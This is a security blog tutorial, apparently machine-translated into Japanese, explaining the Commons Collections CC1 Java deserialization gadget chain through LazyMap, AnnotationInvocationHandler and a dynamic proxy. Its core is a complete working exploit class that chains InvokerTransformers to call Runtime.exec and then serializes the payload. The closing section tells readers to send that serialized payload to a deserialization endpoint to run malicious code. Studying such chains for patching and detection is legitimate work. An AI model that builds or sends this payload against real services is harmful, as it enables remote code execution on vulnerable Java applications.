この記事は CC1 エクスプロイト チェーンに基づいており、本質は同じです。LazyMap クラスの get メソッドを使用してエクスプロイト チェーンをトリガーするだけです。この記事を読む前に、最初の原理を理解する必要があります。 CC1 チェーン。最初のチェーンを理解すると、このチェーンは 90% 理解したことに相当します。CC1 の最初のチェーンがわからない場合は、まず私の記事を読んでください:
https://blog.csdn.net/weixin_46367450/article/details/132274219
脆弱性の範囲
JDk <= jdk8u65
コモンズコレクション <= 3.2.1
環境整備
このチュートリアルの環境: jdk1.7.0_75、commons-collections バージョン 3.2.1、maven (バージョン要件なし)、開発ツール IDEA (バージョン要件なし)
CC1チェーンにはsunパッケージ以下のクラスが必要なので
AnnotationInvocationHandler
、公式サイトからダウンロードしたjdk7版のsunパッケージ以下のソースコードはクラスファイルであり、ソースコードパッケージを用意する必要があるため、ダウンロードしました。ソース コード パッケージを事前に作成して jdk1.7.0_75 に配置すると、ここからダウンロードして、次の図に示す構成に従って直接使用できます。リンク: https://pan.baidu.com/s/1wQjonrox8m6YroB8G24UYA?pwd=2mnm
プロジェクト構造を開いて次のインターフェイスに入ります
ソースコード分析
前回の状況レビュー
前回の記事、チェーン EXP を使用して CC1 によって書かれたソース コード分析では、ここでチェーンを使用して CC1 のコア クラス InvokerTransformer を見つけました。これは、以下を実装します。
Transformer インターフェイスである InvokerTransformer オブジェクトのtransformer() は、任意のオブジェクトの任意のメソッドへのリフレクション呼び出しを実装できるため、誰がtransformer メソッドを呼び出したかを調べる必要があります。前の記事では、TransformedMap クラスにメソッドがあることを発見しました。これは、transform() を呼び出します。この記事では、図に示すように LazyMap を使用します。
get() を探します
transformer() メソッドは、LazyMap の get() メソッドで呼び出されます。
したがって、誰が get() メソッドを呼び出したかを調べるために引き続き検索を続けることができます。
検索した結果、get() を呼び出す場所が多すぎることがわかったので、インターネット上の情報を確認したところ、AnnotationInvocationHandler クラスに get() がまだ存在していることがわかりました。
この AnnotationInvocationHandler クラスには、get() メソッドを呼び出すだけの invoke() メソッドがあることがわかりました。invoke() メソッドを見ると、動的プロキシを考えることができます。動的プロキシの invoke() メソッドは、簡単に実行できます。はい、プロキシ オブジェクトがどのメソッドを呼び出しても、デフォルトで InvocationHandlerd の invoke() メソッドが呼び出されるため、デフォルトの呼び出しがあるため、脆弱性の悪用につながりやすくなります。逆シリアル化時のデフォルトの呼び出し readObject() メソッド。
したがって、メソッドを呼び出す方法を見つける必要があります。invoke() メソッドを再度分析しましょう。get() メソッドに到達したい場合は、まだ条件があります。条件は、呼び出すメソッドにパラメータがないことです。
readObject() メソッドでは、たまたまパラメータなしの get() メソッドが呼び出されており、memberValues が制御可能であるため、オブジェクトが Map 型であり、その Map 型が動的エージェントに渡される場合、動的エージェント呼び出し get () メソッドの後、InvocationHandler オブジェクトの invotion メソッドを直接呼び出します。図に示すように:
したがって、デシリアライズ時に get() メソッドをトリガーできます。次に行う必要があるのは、動的プロキシを構築し、AnnotationInvocationHandler を InvocationHandler プロセッサとして使用することです。
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//传入构造好的lazyMap
InvocationHandler h = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
//构造动态代理
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{
Map.class}, h);
//将mapProxy传给构造方法进行实例化
Object o = constructor.newInstance(Retention.class, mapProxy);
次に、構築された動的プロキシをパラメータとして使用し、リフレクションを使用して AnnotationInvocationHandler のコンストラクターを使用してインスタンスを作成し、返された結果をシリアル化します。
LazyMapチェーンのアイデアまとめ
このチェーンは、実際には前の記事の CC1 チェーンと同じです。主な特徴は、動的プロキシの InvocationHandler オブジェクトの invoke メソッドを使用して、使用できる get() メソッドを呼び出すことです。したがって、InvocationHandler オブジェクトの invoke() メソッドに、前述の get() メソッドなど、使用できるメソッドがあることがわかった場合は、動的プロキシを作成し、この InvocationHandler を動的プロキシのハンドラーとして使用できます。プロキシがプロキシされるオブジェクトのメソッドを実行すると、自動的に invoke() メソッドが呼び出されます。したがって、動的プロキシによってプロキシされるプロキシのオブジェクトのタイプは、readObject() と memberValues にあるため、これは、entrySet()
memberValues.entrySet()
メソッドによって制御可能です。 Map インターフェイスのメソッドであるため、memberValues オブジェクトが Map 型の場合は呼び出すことができ、memberValues オブジェクトが動的プロキシ オブジェクトの場合は、 invokeメソッドを呼び出すことができます。したがって、最初に InvocationHandler オブジェクトを構築する必要があります。ただし、AnnotationInvocationHandler オブジェクトは InvocationHandler を実装するだけなので、AnnotationInvocationHandler のインスタンスはリフレクションを通じて作成できます。インスタンスを作成するとき、2 番目のパラメーターは LazyMap に渡され、動的マップに配置されます。次のコードに示すように、動的プロキシによってプロキシされるインターフェイスは Map に設定されます。
//传入构造好的lazyMap InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap); //构造动态代理 Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{ Map.class}, invocationHandler);
作成した動的プロキシ オブジェクトを AnnotationInvocationHandler オブジェクトに渡します。 AnnotationInvocationHandler オブジェクトが逆シリアル化されると、動的プロキシ オブジェクトのentrySet() メソッドが呼び出され、次に動的プロキシの InvocationHandler オブジェクトの invoker() メソッドが呼び出されます。それを完全に使用する
EXP書き込み
/**
* @program: Java-反序列化
* @description:
* @author: yuan_boss
* @create: 2023-08-14 17:33
**/
public class CC1LazyMapEXP2{
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{
Object.class,Object[].class},new Object[]{
null,null}),
new InvokerTransformer("exec",new Class[]{
String.class},new Object[]{
"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value","value");
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//传入构造好的lazyMap
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
//构造动态代理
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{
Map.class}, invocationHandler);
//将mapProxy传给构造方法进行实例化
Object o = constructor.newInstance(Retention.class, mapProxy);
ByteArrayOutputStream barr = serialize(o);
UnSerialize(barr);
}
public static ByteArrayOutputStream serialize(Object o) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
System.out.println(barr);
return barr;
}
public static void UnSerialize(ByteArrayOutputStream barr) throws Exception{
ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = oos.readObject();
System.out.println(o);
}
}
アイデアの実践
逆シリアル化する必要がある関数ポイントを見つけ、シリアル化されたペイロードを逆シリアル化する関数ポイントに送信して、CC1 エクスプロイト チェーンを形成して悪意のあるコードの実行を完了します。